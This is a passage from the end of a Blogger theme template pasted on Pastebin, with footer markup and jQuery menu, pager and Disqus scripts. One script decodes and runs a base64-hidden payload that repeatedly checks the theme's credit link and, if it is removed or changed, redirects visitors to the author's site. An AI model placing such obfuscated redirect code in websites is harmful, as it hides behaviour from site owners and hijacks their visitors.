  2298. <b:section class='banner2 section' id='banner2' maxwidgets='1' showaddelement='yes'/>
  2299. <div class='clear'/>
  2300. </div>
  2301.  
  2302. <footer id='footer-wrapper' itemscope='itemscope' itemtype='http://schema.org/WPFooter' role='contentinfo'>
  2303. <div id='footer-last'>
  2304.  
  2305. <div id='footer-last2'>
  2306.  
  2307. <!-- Please do not remove this credit link or your website will be redirect to website author. Hargai karya orang lain, ingin mengambil salah satu kode di theme ini silahkan, tapi jangan mengclaim theme ini milik ente. :D -->
  2308. <div class='vieleftcredit'>
  2309. &#169; <span id='current-year'/> <a expr:href='data:blog.homepageUrl' itemprop='creator' itemscope='itemscope' itemtype='http://schema.org/Person'><span itemprop='name'><data:blog.title/></span></a> Template by <credits id='creditid'>
  2310. <a href='https://seo-v6.blogspot.com' id='creditlink'>Seo v6</a>
  2311. </credits>
  2312. </div>
  2313. </div>
  2314. <div id='footer-last1'>
  2315. <ul>
  2316. <li>
  2317. <a href='https://vpnmod.blogspot.com'>
  2318. VPNMod
  2319. </a>
  2320. </li>
  2321. <li>
  2322. <a href='#'>
  2323. Privacy
  2324. </a>
  2325. </li>
  2326. <li>
  2327. <a href='#'>
  2328. Terms
  2329. </a>
  2330. </li>
  2331. </ul></div>
  2332. </div>
  2333. </footer>
  2334. <div class='clear'/>
  2335.  
  2336. <a href='#' id='backtotop'><i class='fa fa-angle-up'/></a>
  2337. <script type='text/javascript'>
  2338. // Current year
  2339. function getCurrentYear(){var e=new Date;return e.getFullYear()}el=document.getElementById(&quot;current-year&quot;),el.innerHTML=getCurrentYear();
  2340. // Back to top
  2341. jQuery(document).ready(function(e){var t=e(&quot;#backtotop&quot;);e(window).scroll(function(){e(this).scrollTop()&gt;=800?t.show(10).animate({opacity:&quot;1&quot;},10):t.animate({opacity:&quot;0&quot;},10)});t.click(function(t){t.preventDefault();e(&quot;html,body&quot;).animate({scrollTop:0},400)})})
  2342. //<![CDATA[
  2343. // Menu Top
  2344. $(document).ready(function(){var str=location.href.toLowerCase();$('.top-menulite ul li a').each(function(){if(str.indexOf(this.href.toLowerCase())>-1){$("li.highlight").removeClass("highlight");$(this).parent().addClass("highlight")}})})
  2345. $(function(){var pull=$('#pull');menu=$('.top-menulite ul');menuHeight=menu.height();$(pull).on('click',function(e){e.preventDefault();menu.slideToggle()});$(window).resize(function(){var w=$(window).width();if(w>320&&menu.is(':hidden')){menu.removeAttr('style')}})});
  2346. // Main Menu
  2347. var ww=document.body.clientWidth;$(document).ready(function(){$(".nav li a").each(function(){if($(this).next().length>0){$(this).addClass("parent")}});$(".slide-menu").click(function(e){e.preventDefault();$(this).toggleClass("active");$(".nav").toggle()});adjustMenu()});$(window).bind("resize orientationchange",function(){ww=document.body.clientWidth;adjustMenu()});var adjustMenu=function(){if(ww<768){$(".slide-menu").css("display","inline-block");if(!$(".slide-menu").hasClass("active")){$(".nav").hide()}else{$(".nav").show()}$(".nav li").unbind("mouseenter mouseleave");$(".nav li a.parent").unbind("click").bind("click",function(e){e.preventDefault();$(this).parent("li").toggleClass("hover")})}else if(ww>=768){$(".slide-menu").css("display","none");$(".nav").show();$(".nav li").removeClass("hover");$(".nav li a").unbind("click");$(".nav li").unbind("mouseenter mouseleave").bind("mouseenter mouseleave",function(){$(this).toggleClass("hover")})}}
  2348. //]]>
  2349. </script>
  2350. <b:if cond='data:blog.pageType != &quot;index&quot;'>
  2351. <script type='text/javascript'>
  2352. //Pager
  2353. $(document).ready(function(){var e=$(&quot;a.blog-pager-older-link&quot;).attr(&quot;href&quot;);$(&quot;a.blog-pager-older-link&quot;).load(e+&quot; .post-title:first&quot;,function(){var e=$(&quot;a.blog-pager-older-link&quot;).text();$(&quot;a.blog-pager-older-link&quot;).text(e)});var r=$(&quot;a.blog-pager-newer-link&quot;).attr(&quot;href&quot;);$(&quot;a.blog-pager-newer-link&quot;).load(r+&quot; .post-title:first&quot;,function(){var e=$(&quot;a.blog-pager-newer-link:first&quot;).text();$(&quot;a.blog-pager-newer-link&quot;).text(e)})});
  2354. //Related Post Thumb
  2355. $(&quot;ul#related-summary li img&quot;).each(function(){$(this).attr(&quot;src&quot;,$(this).attr(&quot;src&quot;).replace(/\/s[0-9]+(\-c)?\//,&quot;/w150-h120-c/&quot;))});
  2356. //Spoiler
  2357. $(document).ready(function(){$(&quot;#flippy&quot;).click(function(){$(&quot;#flippanel&quot;).slideToggle(&quot;normal&quot;)})});
  2358. //<![CDATA[
  2359. // Pop up
  2360. var postEl=document.getElementsByClassName("social-popup"),postCount=postEl.length;for(i=0;i<postCount;i++)postEl[i].addEventListener("click",function(e){var t=this.getAttribute("href"),o=screen.width/2-250,s=screen.height/2-250;window.open(t,"popUpWindow","width=500,height=500,left="+o+",top="+s+",resizable=yes,scrollbars=yes,toolbar=yes,menubar=no,location=no,directories=no,status=yes")});
  2361. //Pre Auto Selection
  2362. $('i[rel="pre"]').replaceWith(function(){return $("<pre><code>"+$(this).html()+"</code></pre>")});for(var pres=document.querySelectorAll("pre,kbd,blockquote,td"),i=0;i<pres.length;i++)pres[i].addEventListener("dblclick",function(){var e=getSelection(),t=document.createRange();t.selectNodeContents(this),e.removeAllRanges(),e.addRange(t)},!1);
  2363. //]]>
  2364. </script>
  2365. </b:if>
  2366.  
  2367. <b:include data='blog' name='google-analytics'/>
  2368. <script type='text/javascript'>
  2369. var disqus_shortname = &#39;randsgn&#39;;
  2370. var disqus_blogger_current_url = &quot;<data:blog.canonicalUrl/>&quot;;
  2371. if (!disqus_blogger_current_url.length) {
  2372. disqus_blogger_current_url = &quot;<data:blog.url/>&quot;;
  2373. }
  2374. var disqus_blogger_homepage_url = &quot;<data:blog.homepageUrl/>&quot;;
  2375. var disqus_blogger_canonical_homepage_url = &quot;<data:blog.canonicalHomepageUrl/>&quot;;
  2376. </script>
  2377. <b:if cond='data:blog.pageType == &quot;item&quot;'>
  2378. <script type='text/javascript'>
  2379. (function() {
  2380. var bloggerjs = document.createElement(&#39;script&#39;);
  2381. bloggerjs.type = &#39;text/javascript&#39;;
  2382. bloggerjs.async = true;
  2383. bloggerjs.src = &#39;//&#39;+disqus_shortname+&#39;.disqus.com/blogger_item.js&#39;;
  2384. (document.getElementsByTagName(&#39;head&#39;)[0] || document.getElementsByTagName(&#39;body&#39;)[0]).appendChild(bloggerjs);
  2385. })();
  2386. </script>
  2387. </b:if>
  2388. <script type='text/javascript'>
  2389. (function() {
  2390. var bloggerjs = document.createElement(&#39;script&#39;);
  2391. bloggerjs.type = &#39;text/javascript&#39;;
  2392. bloggerjs.async = true;
  2393. bloggerjs.src = &#39;//&#39;+disqus_shortname+&#39;.disqus.com/blogger_index.js&#39;;
  2394. (document.getElementsByTagName(&#39;head&#39;)[0] || document.getElementsByTagName(&#39;body&#39;)[0]).appendChild(bloggerjs);
  2395. })();
  2396. </script><script type='text/javascript'>
  2397. function seov6(js){
  2398. var xdx = document.createElement(&quot;script&quot;);
  2399. xdx.src = &quot;data:text/javascript;base64,&quot;+js;
  2400. xdx.type = &quot;text/javascript&quot;;
  2401. document.head = document.head || document.getElementsByTagName(&#39;head&#39;)[0];
  2402. document.head.appendChild(xdx);
  2403. }seov6(&quot;JChkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKXsKICAgICAgICAgICAgLy9MZXQncyBmaXJzdCBzZXR1cCB0aGUgcmVkaXJlY3QKICAgICAgICBmdW5jdGlvbiByZWRpcmVjdCgpewogICAgICAgICAgICB3aW5kb3cubG9jYXRpb24uYXNzaWduKCdodHRwczovL3Nlby12Ni5ibG9nc3BvdC5jb20nKTsKICAgICAgICB9CiAgICAgICAgICAgIC8vd2hpY2ggdGhpbmdzIHdlIGdvdCB0byBjaGVjawogICAgICAgIGZ1bmN0aW9uIGNoZWNrKCl7CiAgICAgICAgICAgIGlmKCQoJyNjcmVkaXRpZCcpLmxlbmd0aCA9PT0gMCl7CiAgICAgICAgICAgICAgICAgICAgcmVkaXJlY3QoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgaWYoJCgnI2NyZWRpdGxpbmsnKS5sZW5ndGggPT09IDApewogICAgICAgICAgICAgICAgICAgIHJlZGlyZWN0KCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZigkKCdjcmVkaXRzJykubGVuZ3RoID09PSAwKXsKICAgICAgICAgICAgICAgICAgICByZWRpcmVjdCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBpZigkKCcjY3JlZGl0bGluaycpLmxlbmd0aCA9PT0gMCl7CiAgICAgICAgICAgICAgICAgICAgcmVkaXJlY3QoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGVsc2UgaWYoJCgiI2NyZWRpdGxpbmsiKS5hdHRyKCJocmVmIikgIT09ICJodHRwczovL3Nlby12Ni5ibG9nc3BvdC5jb20iKXsKICAgICAgICAgICAgICAgICAgICByZWRpcmVjdCgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSBpZigkKCcjY3JlZGl0bGluaycpLnRleHQoKSAhPT0gIlNlbyB2NiIpewogICAgICAgICAgICAgICAgICAgIHJlZGlyZWN0KCk7CiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICB9CiAgICAgICAgLy9leGVjdXRlIHRoZSBmdW5jdGlvbiBvbiBwYWdlIGxvYWQKICAgICAgICBjaGVjaygpOwogICAgICAgIC8vZXhjdXRlIHRoZSBmdW5jdGlvbiBhdCB0aGUgaW50ZXJ2YWxzIG9mIDUgc2Vjb25kcy4KICAgICAgICBzZXRJbnRlcnZhbChmdW5jdGlvbiAoKSB7Y2hlY2soKX0sIDUwMDApOwogICAgICAgIH0pOw==&quot;)
  2404. </script>
  2405. <script type='text/javascript'>
  2406. //<![CDATA[
  2407. $('.post h2 a').each(function(){
  2408. var txt=$(this).text().substr(0,30);
  2409. var j=txt.lastIndexOf(' ');
  2410. if(j>10)
  2411. $(this).text(txt.substr(0,j).replace(/[?,!\.-:;]*$/,'...'));
  2412. });
  2413. //]]>
  2414. </script>
  2415. </body>
  2416. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!